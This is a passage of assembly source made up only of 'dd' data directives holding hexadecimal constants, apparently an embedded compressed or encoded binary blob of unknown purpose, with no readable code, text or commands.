0FC00CCB1h, 0BE84EDF7h dd 24DFBFh, 0BB885338h, 0BA669025h, 34732F00h, 7B9FB386h dd 0FEBF3CB1h, 0BC192A80h, 4913D225h, 783E971Fh, 23EFE8C0h dd 5D4F55h, 3F6E272h, 8446FCD3h, 173DA409h, 0AAB280D8h dd 4DDBCBh, 68A5C185h, 0F62C1A36h, 9660A00h, 2D27A31h dd 0C2D8002Bh, 80544A90h, 0EE007213h, 7117108Ch, 7A31E8D3h dd 0DF3F00B6h, 842FAA9Ch, 79079937h, 7A66759Ah, 0AD40EE77h dd 4E031Ch, 0EFD72D63h, 61E52C8Ah, 31FBF703h, 0E88BAACAh dd 0D5FC87h, 6C04CBF0h, 5BB53C47h, 0EBB3A500h, 0C31A3F29h dd 39AA00A7h, 0E7D0B0E0h, 0ED003651h, 0D0233B7h, 0F35CAD1h dd 0C6DF95A0h, 7E636140h, 52FA6F77h, 9139467Eh, 6AA68022h dd 4EBCFDB3h, 0D2C6000Eh, 5DEE0C8Bh, 2A008D97h, 96488CACh dd 3FBB49Bh, 61759D17h, 0CFC8DE2Dh, 27000167h, 94496EEAh dd 0CEB869h, 47FC38F9h, 0CB89E55Bh, 80449C3Ch, 0ADC057C2h dd 38EF73D2h, 0FB80C7F6h, 60FA16D4h, 0C400067Dh, 320508E7h dd 6A0B69h, 0FE33E189h, 3CA20A93h, 21097000h, 87A8CBF4h dd 831F0097h, 6FF56310h, 13004203h, 0C1F36BB2h, 0DE0A0Dh dd 0FE5FB6EAh, 2901DD64h, 0E8456003h, 0E011C359h, 0D3B771h dd 2083E8Ah, 0EAC7FC46h, 240051E4h, 8CFEE2BEh, 0E424192h dd 0E99D1439h, 0BA8B5A60h, 9B00DFB1h, 0F7807E94h, 48405DEh dd 1AFB9E04h, 9794C022h, 0C100DB33h, 0C25A3C2Bh, 0EA8A3645h dd 14E000F9h, 249D3A0Bh, 0C53959DBh, 0D28E000Ah, 0A530BB80h dd 0F9880091h, 63E16EC7h, 0EF1E1D85h, 75C01C83h, 0F93289Dh dd 9C4F03A5h, 179AAEACh, 0F425C0B4h, 0A97C603Eh, 83E9E207h dd 0A2B059F1h, 574888h, 975CD86Ah, 54ED0E2Eh, 2CA0441Ch dd 9A016503h, 0A3E590CFh, 91D4C0D4h, 0A6A1242Ah, 0CFEB301h dd 0E6B0C4F9h, 28702BF5h, 4F7D0101h, 0B17E372Ah, 0E7F3C8E3h dd 0D000D7F6h, 6AEFFBEDh, 77557A3Dh, 34F4007Bh, 2369B151h dd 0DE05C149h, 2D0117B3h, 0A8C7D31Ch, 18101CB9h, 32C5E0h dd 66DDA68Ah, 7A2ADF40h, 55BC1300h, 285957D3h, 1471FFh dd 0F3B37726h, 360603CEh, 0B012073Ah, 0D937FA98h, 0F87071EBh dd 820A00BEh, 40E8237Fh, 0EC008EBAh, 0A1909988h, 765EAF6h dd 54283891h, 5E6AB0C7h, 35000B7Bh, 83CBE6D3h, 0E21C62h dd 86C4E4Dh, 0DA442256h, 88E1E300h, 0B4D78050h, 96AD0043h dd 0A1BFCA10h, 0AC1C3B86h, 5540EF44h, 8BB5ED84h, 0DFA0083h dd 0A2D3DBA6h, 5D00A1ECh, 8972EF7Ch, 0F5CB031h, 0BF67F8ACh dd 0E4E93A40h, 9009961h, 1035A177h, 2FD459h, 51D59BDAh dd 0EFAE5CFAh, 0C38FD601h, 1FA07BBAh, 8C25F8h, 3061420Fh dd 5AE62487h, 0C7FBD900h, 8288337Ch, 66510072h, 1B032F29h dd 5C002E44h, 5436F08Dh, 4534E8h, 4E93E613h, 0F6476090h dd 80825A00h, 0EB3D258Ch, 0B9FB0184h, 5EDCB0A3h, 7831E48Bh dd 0ED148F0Bh, 0EF978018h, 3B6DAE76h, 2803DECAh, 5D058C4Ah dd 668427B8h, 0B7A35800h, 565E496Bh, 8A9F0088h, 0C21D6A22h dd 2AB8AC4Eh, 73243Ch, 0D1D86B9Eh, 6ECB34h, 2738A846h dd 0A3B15EE3h, 790FDE00h, 9386C605h, 31C09F72h, 233D9F55h dd 48661E39h, 755A82C0h, 0CAEE58h, 76691270h, 37B31735h dd 0B2E69107h, 0CED0A493h, 1D3FF60h, 2BD86386h, 0FD832D5Ch dd 0F048E851h, 0C6973200h, 0E206CBE3h, 1D4A1308h, 4D4C00B6h dd 399BE0ECh, 6258FB00h, 99319E30h, 0CC3D0554h, 808941C6h dd 0E8611A46h, 0C3D34700h, 11FA1BEDh, 0B35C07ECh, 0F12D98A1h dd 0EC2E4D54h, 313EC614h, 0E36400F6h, 806553E7h, 50D37CCEh dd 0F2CEC8h, 64F60D21h, 83E2BFB4h, 0B8AAAB00h, 8912A088h dd 9BC40091h, 7E411B8Fh, 7D005132h, 6C296FC8h, 0F885847Fh dd 9EC90ADBh, 8AC64Fh, 9C78D4ECh, 9001D1D2h, 0CB1F3E4Ch dd 0F8C49668h, 5EDA012Ah, 0A4976C76h, 50C7E449h, 73D30800h dd 2987B88Bh, 0AA1C00A8h, 5977E31Eh, 0D076793h, 557B495Ah dd 5CCD7500h, 0F5621CE5h, 0D3007B0Ch, 5944BABEh, 0D00EDDBh dd 92E9BF5Eh, 14B0984Eh, 88FD7950h, 2132B903h, 0DDA00C3Ah dd 5400CAB7h, 432889FBh, 0F4604E36h, 18023D6Dh, 3D91340Bh dd 32C0A90Eh, 0F06C661Eh, 0F7FBF200h, 9E05624Ah, 0D26F008Fh dd 3E748447h, 626208Dh, 0EC2817B1h, 9C83360Fh, 2796075h dd 28BD31h, 505D571Fh, 8C047DFFh, 0D2080126h, 0A9A04A00h dd 3411DBh, 3CBA36CDh dd 0D04831E7h, 0B566600h, 0C0E2930h, 46DD1E9Bh, 0FDC4F6Dh dd 38D8ED60h, 3B00C82Eh, 13594CB0h, 9203EA9h, 0D1BD897Ch dd 0D0B588h, 0EE6A23BFh, 8F03F41Bh, 90E6AB31h, 0E03BCBB6h dd 0F2012FF5h, 29A98DDh, 0C2144F02h, 4E60699Dh, 4A16D424h dd 0B5E01D1Eh, 0A1FC0096h, 0F7D5F2B1h, 6B0055ADh, 9BCBDFA8h dd 75ED3154h, 408B1F3Dh, 0CEA2C3B2h, 0F9A8567Ch, 0A0032E9h dd 4A9EE59Fh, 525B8Dh, 34FEC8BCh, 0BA06BD82h, 0A7E08900h dd 3F084E77h, 0CC58000Bh, 34A3CA9h, 0AB1C1E99h, 0DE4BB3DFh dd 75E805Bh, 62307Ah, 9F6365D5h, 0BFFF3625h, 40CF830Fh dd 0F32C60E2h, 763A0F72h, 75BA003Eh, 0DA22143Fh, 6001D62h dd 37E2A620h, 3FAC1EBFh, 6883B5F2h, 5492EA9Ah, 0CE4DC0FFh dd 5A009BA6h, 0F784A480h, 0E951672h, 648B93ADh, 77373800h dd 0C17DD9EBh, 52C2E00h, 520AA4BBh, 9DE86Bh, 3C34403Ah dd 975918F1h, 37087403h, 0B067C96Dh, 986F3193h, 55210066h dd 1833DE35h, 7303703Fh, 12374F1Bh, 91CE867h, 47810063h dd 5CCEDE13h, 0E9007FC7h, 0EC3D4D24h, 693F96h, 0DF0F472h dd 0FB936F02h, 0EBC88B00h, 0EE4AC050h, 74FEF2h, 8F75586Ah dd 7D8BC33Eh, 0DD43EF0Eh, 68A66024h, 752E4C42h, 0B3671EC5h dd 1DF100BAh, 0A6C832FDh, 84E4CE00h, 20B5B876h, 484F0036h dd 28ACDD2Dh, 0F700C477h, 1866F0BBh, 6CF94Bh, 0A5DF783Eh dd 690111E4h, 0F9905F7Ah, 30E734A3h, 0BA881F55h, 1B03F370h dd 3979343Bh, 8D5EC0D0h, 0EF91006Ah, 82156092h, 8F721F59h dd 5816BC05h, 0D3C02DCDh, 2EF917h, 3C1044F0h, 1D8D96FBh dd 1CEE1500h, 2D7122FEh, 0E1DF077Bh, 50573C60h, 0CBA6F136h dd 77009EFCh, 327B875Ch, 0B6D033h, 59A1748Fh, 3B105424h dd 0B3934500h, 424838C2h, 25FC3F0Fh, 0BBCAAE83h, 22B0B679h dd 6500669Bh, 4A71FF90h, 0C3C178h, 2C5C4317h, 8185305Eh dd 0C8BA2E00h, 4C60E8D4h, 0BFDE03AFh, 0D1D53EF7h, 0FFEA12C0h dd 0ED32AC07h, 8BD0EBADh, 1D3C0CEEh, 803BBB6Ch, 617C63D1h dd 790075A1h, 31C2CEFBh, 0D8CA93h, 340A6583h, 0B4784566h dd 5B4F8800h, 0B5AD396Bh, 42CD03F2h, 450F9059h, 94102F88h dd 359F962Ch, 287E9900h, 0FCD6112h, 0A9AFA589h, 6DA41043h dd 31BA9ED0h, 0A247A1Ch, 0D687083h, 0C463888Bh, 7D70E76h dd 87804941h, 296B9480h, 0B8AD000h, 4CFADEE4h, 1208001Bh dd 959C3990h, 0DA0194DBh, 744F857h, 0F460FD60h, 92290289h dd 0ECD59CCFh, 696E0560h, 0AF21BC00h, 0FB24AA54h, 0B1363C8Eh dd 2A18FF80h, 0AE0A1B3Bh, 0B5E15100h, 9E854A99h, 0B9E40082h dd 0EA7C38A5h, 0CF23ECCh, 4641830Eh, 79C4006Ah, 16BD8DD0h dd 1C23C6F8h, 39FF01E3h, 0ECCB2297h, 4F0F8E32h, 0BE6419h dd 463FBAFEh, 250F3ED8h, 7207C13Bh, 70D1344Bh, 0EA364D3Ah dd 9559FD00h, 14AE815Eh, 33060215h, 0ED637194h, 0A937F060h dd 73846126h, 0E895A00h, 0F5742B1h, 13F4DF9Dh, 0EB591160h dd 800BA56h, 9B27E8AAh, 2C3F2E61h, 1C227302h, 0D48ECE49h dd 0E5217880h, 220E5D85h, 0C135D177h, 6A5624C1h, 7A9F57F8h dd 0EB6E0010h, 89BC75DEh, 2F0E54C5h, 0C085C48Ah, 297EB790h dd 0EBB000CEh, 4A86C8BBh, 0C100274Fh, 6D3C28ADh, 0B09C6604h dd 8DBB006Ah, 7615FC11h, 0FDF605CFh, 0A6642A00h, 348F967Ah dd 0C7E00F1h, 0DBA0C43Ah, 0AF07ED17h, 0F33C0AC6h, 88047410h dd 45C50066h, 841829E9h, 51079BD2h, 0F2DC4213h, 6C321210h dd 2AE0005Eh, 886D8EF7h, 4300ABF9h, 3C0FA3AEh, 4A969Ah dd 15EDDC2Eh, 2136B803h, 9C324E38h, 7100D9C6h, 28011693h dd 9353DEEh, 0C0003A3Bh, 0D3A08CACh, 582E8D50h, 0E2135BBCh dd 7B543800h, 6D8BE7h, 0E32A0299h, 0EDABB87h, 0CDF07875h dd 9AD6B100h, 2560947Fh, 5222076Dh, 0A00AC71Dh, 0EEE6BF1Fh dd 409DFA00h, 3157F973h, 45AF0095h, 3DA50C24h, 0A9000A9Fh dd 218A1BBAh, 117E07Dh, 52A475BFh, 0C8ADD2B5h, 781ED668h dd 0C80841Fh, 0F9E30BCBh, 57B400AFh, 68931C89h, 592E3D3Eh dd 9701EF43h, 0C5D9A142h, 3E363D4h, 6EE4F90h, 0D2F84A34h dd 370005B6h, 3F40DDF1h, 0F828C1h, 0F2A47694h, 7832E048h dd 63777400h, 26B76E8Ah, 0F8E70002h, 1A46EFFCh, 0E273C119h dd 0F07311Eh, 0DDD83B40h, 7E3AEA7h, 7A2FB330h, 43CE064h dd 0B80E8E15h, 40B97397h, 0AD4178DCh, 0DE67384Ah, 9BDF2400h dd 7DA78BB0h, 5300BFE4h, 0D3E0ECACh, 722B42A4h, 6BE684h dd 0A28DC30Fh, 720755A1h, 0D2FE1100h, 4EDC4160h, 709F007Fh dd 0A087717Ah, 100E303h, 0F118CA9Ch, 36C1B6Ah, 0E24FE778h dd 79A0A02Dh, 2A00D4F7h, 0B73DB2E1h, 5BF72h, 92F9C297h dd 421AA31Bh, 91A4D6C1h, 9DCAE6Ah, 0DCE80494h, 80533BE9h dd 0BE291F14h, 18B7D500h, 0F437DC8h, 2C570790h, 0E0F71293h dd 13C023E9h, 2987BB00h, 496AE277h, 0AA2F00E6h, 0E7A27441h dd 42EADF05h, 0EFADE500h, 920E6CB3h, 9A0900AAh, 4DE08FB7h dd 0D2748386h, 1C53EF00h, 4BC234ACh, 37500045h, 0FAE9CA8h dd 0D300C60Dh, 686D4F9h, 0C5D47C8h, 0DCB52569h, 38044F36h dd 6B154678h, 9F91FEC0h, 17840020h, 83024A49h, 0A3F6CD7Dh dd 0EF714002h, 0E081C05Bh, 13EEC58h, 0F8F353E8h, 6A888BBDh dd 7D792F0h, 0B8A8D445h, 0BAE05FC3h, 7E89973Ch, 0AB1A6000h dd 26E01207h, 6ACF00CDh, 1D011C94h, 933DE30Ch, 4563809Ah dd 262C678Fh, 0C9FE014Fh, 885C038Bh, 0DFBCF440h, 0D1CDAB00h dd 43C4C1A8h, 84953A66h, 98560100h, 5F2FBDCBh, 0DB4E7C00h dd 3A297F99h, 91BE01D4h, 3051163h, 0F0C7D03Fh, 0C56F0C00h dd 0FAA03A1Ch, 36398ABh, 7DD4500Dh, 73E8D60Bh, 0B5E04982h dd 0A2624601h, 9129B1A5h, 0CA68D4h, 475DF5F9h, 4419673Bh dd 360E2BE6h, 277AF246h, 0C220CDD6h, 0E0FF2AE8h, 9A6A0073h dd 0CC88510Dh, 610B2F6Eh, 465C2DFh, 3C0F5A7h, 8DBF14h dd 0CA7997ACh, 0B2ED3073h, 2E01937Fh, 41963FDh, 6270BEE6h dd 35A600E4h, 25CA9AE0h, 750023A8h, 30C21C3Eh, 3E19905h dd 0D4010FB7h, 1F9B2F59h, 0A1360988h, 962C5A00h, 7B810327h dd 19010089h, 0C991BC28h, 0A3906899h, 845CF009h, 40D88FDAh dd 756F34E0h, 6C600A2h, 2EE70A8Bh, 2200620Bh, 717EA8DDh dd 39DBF6Ah, 1391183Eh, 0E0B8EB80h, 35001E53h, 8FA5A3CEh dd 0C78BF5h, 901A611Fh, 0FA69DDC0h, 126A5C0Eh, 0B6D4059h dd 675836h, 0B033306Bh, 9FAF3E97h, 21F98B00h, 0F26CD588h dd 761A005Eh, 0D16B5209h, 0EB7415B4h, 1F562600h, 0AB0408B3h dd 85060724h, 0E07F93FAh, 3ADC9D83h, 0DD6E7B00h, 0AB2739CAh dd 348226E2h, 67F90081h, 0AA8D805Bh, 1A072100h, 0CA88C70Eh dd 948700D3h, 9BB07355h, 7A00E7BEh, 0D2D7FB20h, 3A898C37h dd 2B8026B9h, 562C1FD6h, 7D007F47h, 0EC404FE3h, 3AFB7h dd 0AA74114Dh, 6F38A7AEh, 0D9C14100h, 8672F571h, 5C7A5Eh dd 2C70CF54h, 0BACC9FEFh, 0AAD7FD00h, 0E53A27C3h, 26101F39h dd 0C1D3406Dh, 9AD0B465h, 46A3D703h, 0E8D49822h, 7278284h dd 70DA5678h, 0ABBF90C2h, 5B00A91Ah, 0E7EFB27Bh, 736E46h dd 5718F9Eh, 4754D8BDh, 49E90F00h, 0B8C2AF7h, 689B00A8h dd 664D4AEh, 2C7A19D6h, 215B771Dh, 1B514C0h, 4D9BEAh, 816E7F33h dd 506836E7h dd 0D7E148h, 2F6FB070h, 3FDCF3C3h, 551CC8B9h, 0FF99C266h dd 9240B81Dh, 0D0009284h, 80A3F616h, 1553607h, 3E86E7DDh dd 602A0173h, 0CD1FFC5Fh, 0E10074D9h, 0F2256338h, 49C500C7h dd 561F15ECh, 0A400C4FEh, 0E1C309BFh, 352D28Ah, 0B3769791h dd 5F85EADh, 0AA007CFAh, 0AF0B034Ah, 0D9C25Ch, 0EEAB65F2h dd 4BDB998Fh, 4D347A00h, 0B594554Fh, 710A00FAh, 8AF30DACh dd 82F4E6B8h, 0E0F2BC00h, 0D4F89B69h, 26C7072h, 0A7240253h dd 3AC0EB1Ah, 1B03DDE2h, 68FA8070h, 449890D3h, 82631C19h dd 2407C002h, 0E90A2288h, 0E3B67A03h, 9B529EBAh, 0DCBFE81Dh dd 9D707897h, 0D900D278h, 0E6012353h, 7846B86h, 0EB220696h dd 78580028h, 6503CA0Ah, 0C27D5615h, 8A2C8853h, 73D986Bh dd 0ADD0C54Ch, 0B1D341E9h, 70FEC03h, 70565E03h, 0CF793FEFh dd 0CB12D5A3h, 0B08FC08Ah, 2ADF585Dh, 16FA6100h, 5BFD4224h dd 947A700h, 2FCAF74Ch, 0C65400CBh, 0DA07D14Ah, 9300EF59h dd 8B4919F8h, 0A6322h, 770E100Ch, 95600B88h, 0DA30DF00h dd 472B287Bh, 737AA6h, 5B5E6B4Ch, 0CBA8A51Fh, 0CA384B00h dd 4E83DE8Eh, 0DDD40040h, 0F12C24F0h, 8D006379h, 86D133E8h dd 5EA4574h, 0F9602DBBh, 2C96C0FCh, 9800255Bh, 0DDC1E1ABh dd 0A0677Ch, 0AC70D6B5h, 7AE38885h, 0FF332300h, 7E2EF483h dd 0F1FA0252h, 0B3D332D4h, 0B75D407Dh, 78FB394Ah, 93F64604h dd 80F5C088h, 0AF00701Ch, 0D74437CCh, 74F35F7h, 2D99A17Bh dd 0CE299183h, 0D1C1F10Fh, 9481D0ABh, 907BC0F7h, 38B3ED07h dd 851077D1h, 0E540CA7h, 3D16AE69h, 0B4D5D280h, 0F900CBF6h dd 0A37E21FDh, 0D32848h, 0A90B66ACh, 1E055A60h, 10FB4700h dd 9C9E0C73h, 6DEC0F03h, 1DA0E976h, 0A8C3393Eh, 73378B00h dd 0B64E8C51h, 0DEAF07E1h, 123D5472h, 5BE0E7C3h, 0F3004FE0h dd 558BF256h, 434E69h, 0C1AF9080h, 0B6E55F87h, 8DA4E705h dd 0D5804DDAh, 2859532Ch, 8016FFh, 3CFD2F89h, 27C7329Dh dd 2423B300h, 655EA852h, 0BCA100D4h, 7C51D598h, 0B9006FB6h dd 15EFC4F4h, 1637DACh, 45233C20h, 0EEC92E89h, 0BCDBBB40h dd 494E3303h, 8020EDFFh, 76537BFh, 8E2E9CE2h, 3D9F5058h dd 7A26578Ch, 0E300E896h, 5C2594AAh, 0ECDA00B2h, 0BF8AE50Fh dd 0C800695Bh, 0A4B80388h, 0E004A64Ch, 0AF7D6Ch, 6962EFF4h dd 1072DCABh, 48B70A00h, 0AFE64CF2h, 965C3F42h, 23DFD880h dd 0EECD9D07h, 80B5163Bh, 61A4329Eh, 0EE4FCA8Bh, 1742003Eh dd 8AB085A6h, 6D014A40h, 5E38050Fh, 0A0CF361Fh, 0EBA201h dd 0EC74312Ch, 59BF3F28h, 1442C314h, 0AB7202DFh, 0E05627F3h dd 73EB75h, 0D8F5AF10h, 64912DEh, 0A100E77Ah, 367A31F8h dd 57D0C8h, 5AC3B6ADh, 0C4AB96BFh, 0B7008776h, 5853EC3Fh dd 6F4CCh, 37AA4AF2h, 0F9DBFD01h, 0C476620Fh, 0AB9B40D0h dd 1E0A2D8h, 889478DCh, 0F8BF4C04h, 850E81B1h, 8F12682Fh dd 9B520F1h, 5FAFAEA4h, 7A40A888h, 2BDC8600h, 0E603D358h dd 7962250Ch, 7E00C8DCh, 0BB0A8309h, 29A33870h, 8A031D80h dd 72766732h, 0C4256403h, 0D8FA9922h, 86A0B7h, 463F952Fh dd 5BC310BCh, 1EDFE758h, 80BEEE3Bh, 0D407A7A1h, 383FF2D0h dd 0D685CA41h, 52977Fh, 2EC10B82h, 2207EF64h, 7277AE08h dd 340D86h, 466A1439h, 0AB3C17ACh, 0A3972900h, 551F8665h dd 0C18300B1h, 0B3794BC2h, 0E0000E58h, 30AC45A1h, 7D7E01h dd 0E54CB7A4h, 8C52F703h, 426EE90Fh, 0A51A8057h, 144CD43h dd 0F6C110F5h, 0E0EF0503h, 124F3D8Ah, 682C65ECh, 0D837182Fh dd 0E300DAAEh, 9D7AB95Dh, 3EDF54h, 42915CFh, 0B510EC07h dd 271D2800h, 9F32D3D4h, 127200D7h, 0FBD11BADh, 2900B0F4h dd 0EF7FE8CFh, 4DB363h, 0CA8A186Eh, 5B229BCDh, 8FBD090Eh dd 4E4B80F6h, 204F51Ch, 0C3DA779Eh, 9880813Dh, 0C9D84F9Dh dd 7E8E6E00h, 7019B8B7h, 808A0315h, 7F668F1Eh, 8D5488E8h dd 0BF724000h, 6D5BC851h, 18760085h, 0AE4441BDh, 32E2EC68h dd 4B00D2F8h, 93B9C43Bh, 452E5Bh, 9A61D086h, 0DD21E55Ch dd 0A003270h, 0AD22BE9Eh, 7EDC167h, 84B398C2h, 30A770CEh dd 710340A8h, 444BC0E8h, 0C6A48049h, 1BB304F0h, 807C4E25h dd 46013274h, 3C132979h, 3D027036h, 60900734h, 0AEE9D9h dd 0B221A632h, 0DFF50DCBh, 7F922E00h, 6B9DDA3Ch, 0C1D2008Bh dd 1E648D4Fh, 0B0050FF5h, 0FCED55DCh, 26D7F6C0h, 5114021Ch dd 64B17C4Fh, 339EC0DDh, 6A98015Fh, 0B7F344B9h, 0BFC0C4A8h dd 4CAD39h, 142B631Ch, 7C456A9Ah, 666103DCh, 69355C4Fh dd 0FC182D80h, 0C0B32A00h, 0B22E98B0h, 49A70EBBh, 9BEF3154h dd 0D885CDC0h, 45005077h, 0B8F2362Bh, 0E2D9Ah, 76FFA69h dd 0BD817094h, 1707F576h, 41B6F326h, 4B9255C0h, 23E007Fh dd 5650512Eh, 22033F34h, 23B47E90h, 3AB6A0A2h, 0DB8D0247h dd 8130C311h, 752CC0C0h, 7000FBB0h, 377DD05Fh, 5EBDF9h dd 0E6B25805h, 554A91AEh, 0C336F002h, 608FC501h, 50B8E063h dd 0ED69A14h, 56F6E38Dh, 62FD000h, 0D1E65BE5h, 39A97F00h dd 434CEA19h, 63D85C8Eh, 693B1300h, 159B63DFh, 0F648BB00h dd 97C4D747h, 212D0037h, 61246DE5h, 5700180Eh, 0E4C05F52h dd 70F0D2h, 26E890FAh, 9A4295A5h, 0BF94B600h, 1B6E4BCEh dd 0EEB40E34h, 0D6A03779h, 0D4352D85h, 9B129400h, 5C2B66CCh dd 0C7F6C4h, 0A7A0B20Ah, 0E6A4FA7Ch, 4DE7D903h, 978C3901h dd 0DB5BCEF0h, 2493585Ah, 0FA7F800h, 337C53EAh, 64816B00h dd 232BDACBh, 0D430071h, 0BBB94EF1h, 5100015Ah, 0B5DC9298h dd 3CAB824Dh, 0DB00523Bh, 8D390271h, 5B00A3C7h, 5C95CEA5h dd 9353C1h, 0F488FECCh, 9DB64AD5h, 79356700h, 0B0DDFAA2h dd 8CAE0091h, 0B81ACDD8h, 39005A6Eh, 0C18BED06h, 7F8020BEh dd 5D2010Dh, 25AA877Ch, 42B9FDC6h, 4340CDFFh, 3200F7F8h dd 0E1C98494h, 0F73097Ah, 0EA17939Ch, 0DB6169C3h, 797E1DE0h dd 591A0F00h, 0D2687FBFh, 63FA14h, 8CA66F72h, 0BD516710h dd 0C7128300h, 4C22108h, 0FA840040h, 74195796h, 750067FFh dd 0EAB7E04Dh, 34E5F4Ah, 56340A1Eh, 28E08BEEh, 2D0020ACh dd 0DDF612AAh, 80CC19h, 3390E17Ch, 0D0A1AE7Eh, 0D00697Ch dd 5609C9C0h, 8DE542h, 80600467h, 3C71FDE7h, 0CB6AB300h dd 79CFAD68h, 437D07B1h, 701BFB52h, 0EE1C47A3h, 36E1E400h dd 0E5013ACh, 0D9050089h, 0A6E6D327h, 0EA3994F8h, 0DD3381B7h dd 5495C16Ah, 7D78CCh, 0EDD54D52h, 56DB9153h, 9728F07h dd 6A30EA93h, 789430h, 7D1FFD54h, 8EE9E384h, 0F7483Fh dd 24E75337h, 7DD113Ah, 0EB8A76F4h, 86FCD0EFh, 0C701D94Eh dd 336C38BFh, 0A9ECC28Fh, 0DFD60066h, 53CC01F5h, 0E203453Fh dd 0F950839Eh, 6DD7B01Ah, 55FC38h, 3EF3F4C9h, 0EA356FB4h dd 1E0B5E7Dh, 0D5EDD425h, 16910300h, 653AD8A8h, 520680E8h dd 0D9D45A3h, 0F5EEA9h, 0F3512DAAh, 38FC3357h, 8B138472h dd 1FA1C94h, 5FDA4C28h, 0EFB2F81Ah, 0B6F64500h, 51601D4Bh dd 895401B3h, 0D1DA0C42h, 3C40245Ch, 6959D401h, 0B7B35A57h dd 76CE8ACCh, 0F4051FE3h, 41803BE0h, 0E225B417h, 0E7009D0Ah dd 57BF3EAh, 0D5A020h, 0C872B146h, 0D187139Bh, 3EB41000h dd 406C697Ch, 0F81B008Fh, 6F76FE5Ch, 0A80009CEh, 8BD6A23Ah dd 0E06A6799h, 0E8780Ch dd 8850EBCCh, 0E0C491A7h, 0E9983E00h, 5C4BC3C0h, 0F8200029h dd 637E544Ah, 107F3812h, 0B053922Eh, 0E02E3200h, 160D4A9h dd 918CAF46h, 0CC6AD071h, 42000609h, 2DB5503Dh, 0D211F6h dd 0A4984EB6h, 375EA080h, 78CDEF00h, 0D62814DFh, 0E73B01B3h dd 0A4F1E2BEh, 80A48079h, 8F46F34Dh, 0DBAF0060h, 0BF495945h dd 0B5008164h, 51129AAAh, 0B8ED22h, 0C2A15611h, 0C0BAE9D8h dd 93490B00h, 0FF44DA52h, 555B00C1h, 2E96B9A6h, 0BA4C0EE3h dd 0AFD80097h, 0A8D4670h, 0AB5D0708h, 70CE4FEBh, 0F90D973Eh dd 0FA5ED200h, 0BAC244D0h, 0D59A0055h, 0B2ACA03Ch, 721FDE10h dd 0E84A8EFBh, 0A200FA79h, 874246F4h, 0DCFE022Ch, 0A377FACDh dd 20B6F640h, 0EC50BDh, 357A55B5h, 0FB66E70Fh, 48984700h dd 735F9A80h, 6C0700CBh, 4DF27636h, 0BE00AE56h, 2ACE09ACh dd 3AF32093h, 0B80800Ah, 0E2B4265Eh, 1303557Fh, 9802A836h dd 0FA40BFA2h, 0A0117Eh, 0B6DAD038h, 4EC8284h, 48A71F00h dd 8A62BCC2h, 0F68500B5h, 11C0CF30h, 0FE3F6FEEh, 0D7BB00C1h dd 4104B4ECh, 0AFFEBDh, 1872CD95h, 3C604B37h, 562C2A0Bh dd 4C638069h, 0B8544F79h, 0D0C8013Dh, 2B721F8Ch, 0D295C4BBh dd 0E08DFC00h, 0F3D6A6EDh, 0A2F005Ch, 1E5BD1ADh, 8A00EE88h dd 1742592Bh, 0F28FD9h, 21EAB208h, 6213BF02h, 0F3E52207h dd 0A6E05687h, 89EFA7h, 0C2555C5Eh, 3E9F4F2Dh, 0ED3300Fh dd 0E018EEFAh, 3F745E79h, 5F5A007Fh, 0EFC89B67h, 0E200F521h dd 4EFEE954h, 6E898Eh, 7BBC4DCCh, 0E5B6CFD1h, 4309097Bh dd 83EB5A15h, 0B005474Ah, 2DB2A5h, 98194E01h, 325B29BAh dd 984B4Ch, 743D53DEh, 61A488h, 0E515D875h, 1F70EE95h dd 2639031Ch, 0E7CA03BFh, 0E1C25244h, 3FE478B2h, 6F1C00D7h dd 6763A7ABh, 5EFAFE3Dh, 0F85C6103h, 902B6E56h, 14C7DD1h dd 0E84FF65Fh, 0D49887EBh, 0BA98F4AEh, 0A3FF2B00h, 0E76B20DDh dd 3CB300C4h, 7AC2D3E8h, 0F4001BC9h, 3EE9A3A9h, 29BF843h dd 0EC38604h, 0D4077D4h, 58004C94h, 4EFBA717h, 0F0CC7863h dd 0F02A0020h, 6B43AF84h, 320399ADh, 0C90708F9h, 4447A898h dd 8EE200B1h, 388387A3h, 8E90D0F6h, 2476DC0Eh, 987060A4h dd 5C0412D2h, 73033D87h, 7EE056ACh, 0BB196CF8h, 0C9EED500h dd 2229BC6h, 80139A1h, 2B092080h, 863483AEh, 0BADDAC00h dd 938D4810h, 0AB21009Eh, 0DBCEE23Eh, 0B50027BCh, 5D16BFC9h dd 86062Eh, 6DE712EAh, 4FF7C348h, 0F60018ECh, 30D9B76Eh dd 16F0AFh, 0AABD250h, 0B81C048Dh, 53D1E09Dh, 89D300DEh dd 0B5E830F9h, 4C0092F2h, 0FF5780EBh, 3E5A10E3h, 34802A11h dd 931B9C36h, 0F1000270h, 377C1D3Fh, 0D6DBCDh, 43B0E4A0h dd 9087E7F6h, 4A583500h, 0A5993363h, 0FC110377h, 7FDB0284h dd 9DDD3488h, 7324DC60h, 0C5E7CFh, 0E0FAA3CAh, 55B28579h dd 95F01D0Fh, 0CE03A02Ch, 3EF916h, 1AED84D3h, 9F4A6EA1h dd 0AD5F2016h, 0C333D201h, 0A2C89CCBh, 53900A4h, 0F1ED6110h dd 0B7001389h, 733F2B32h, 0BB5CBCh, 4A506912h, 252E8B9Bh dd 45CA6C00h, 21850C61h, 74200009h, 0DA55881Ch, 0CD3B1EF5h dd 80C6B829h, 4C7F6D8Bh, 13B6FABAh, 0FCA008h, 0D9C96938h dd 2B00D024h, 66CBC407h, 0E268759Eh, 0BD4C0018h, 13446119h dd 0DC001FD0h, 0CA456714h, 6A9EAEh, 6F65DB2Ah, 0EEB070E0h dd 553C7A07h, 8CB0E251h, 38FBB1h, 0FE4AFF92h, 0B74D33C3h dd 73609A00h, 7162802Bh, 85DE00E0h, 0B12A6E04h, 30000574h dd 0F8C8AD23h, 0FFC45D3h, 965B9028h, 0C2803B5Ch, 0A0FEA6F1h dd 361DFA0Fh, 8C02FE5h, 0DA56C618h, 0F65807E4h, 901E22BDh dd 0C71FB17Ah, 680F9079h, 60E775BFh, 0D304A579h, 44C00716h dd 80F24E67h, 42499CCAh, 81F16500h, 5F2878DFh, 3BB71E01h dd 98DB8680h, 0F0090B6h, 0AC17AA09h, 1F3D59h, 0A8587E6Dh dd 8B05ABB5h, 5313C80Fh, 0DF0CE02Ch, 705101B6h, 1ADE1CFAh dd 2AA78034h, 0BC40F8BFh, 6FDC0600h, 9768D941h, 19DD0043h dd 64B066B1h, 0BB0090FBh, 0BCAAEE92h, 1D2B50h, 9F686C1Eh dd 1733D7B5h, 0A700D679h, 0C547B14Ch, 8B8F76h, 0F2D521C6h dd 5D253DCFh, 1D46C800h, 998174E9h, 0A4E4008Fh, 2F5A7C26h dd 7AEEC671h, 9A706101h, 51F204C9h, 111E8h, 0DC4A7454h dd 